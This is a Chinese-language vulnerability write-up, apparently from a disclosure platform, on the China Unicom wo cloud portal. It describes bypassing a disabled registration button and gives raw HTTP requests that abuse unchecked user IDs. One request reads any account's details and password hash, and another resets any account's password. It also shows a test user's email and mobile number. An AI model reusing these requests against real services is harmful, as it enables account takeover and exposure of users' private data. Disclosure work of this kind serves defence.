中国联通某服务配置不当上千台服务器可被控制下载

中国联通某服务配置不当 上千台服务器可被控制，几十G的带宽，几百G的内存，几千G的存储岌岌可危。

上次找了个电信云平台的漏洞这回我们来个联通的。



http://www.wocloud.cn/

我们打开联通 wo 云平台，注册一个新的账户。咦停止注册了? 我们按 F12 打开 Chrome 的调试工具。

可以看到，注册的按钮只是加了个 disable 属性禁用了，我们把这个属性去掉，就可以成功提交表单注册了。

我们登录注册好的帐号，进入个人中心的修改密码处 http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd

通过抓包，我们发现了两处漏洞:

1.读取任意账户信息，包括登录密码

我们使用Burp抓包，

POST /portal/pr/client?p=/user/describeUsersInfo HTTP/1.1

Host: www.wocloud.cn

Proxy-Connection: keep-alive

Content-Length: 6

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://www.wocloud.cn

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

DNT: 1

Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A



id=598

(此处post的数据"id"为用户编号）

 

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 10 Feb 2014 04:38:11 GMT

Content-Type: application/json;charset=UTF-8

Content-Length: 436

Connection: keep-alive



{"data":[{"name":"crtest","id":598,"state":4,"comment":null,"password":"ece42545aeef94653dd1b04571e993a2","position":null,"token":null,"email":"crtest@yopmail.com","account":"crtest","phone":"","mobile":"13599052222","compId":0,"roleId":1,"checkCode":"","compOrgCode":null,"compAddress":null,"compPhone":null,"compFax":null,"compEmail":null,"postCode":null,"deptId":1,"approve":0,"fax":null,"compName":null}],"code":"0","msg":"success"}

可以看到，返回的数据中包括md5加密过的密码(crtest01)，用户注册时的邮箱、手机号、姓名以及公司信息等。经测试可知，共有600多位用户。通过修改id，我们可以轻易得到任意用户的帐号、密码等隐私信息。

2.平行权限修改任意账户密码

我们使用Burp抓包，

 

POST /portal/pr/client?p=/user/modifyUser HTTP/1.1

Host: www.wocloud.cn

Proxy-Connection: keep-alive

Content-Length: 24

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://www.wocloud.cn

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

DNT: 1

Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A



id=598&password=crtest01

此处id对应待修改的用户的id。password则为新密码。

 

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 10 Feb 2014 04:48:21 GMT

Content-Type: application/json;charset=UTF-8

Content-Length: 76

Connection: keep-alive



{"data":{"data":null,"code":"0","msg":"success"},"code":"0","msg":"success"}

经测试可知，通过修改此处的id，我们可以轻易修改任意账户的登录密码。

这里我们将id为1的帐号密码修改为wooyun进行测试。

[1] [2]  下一页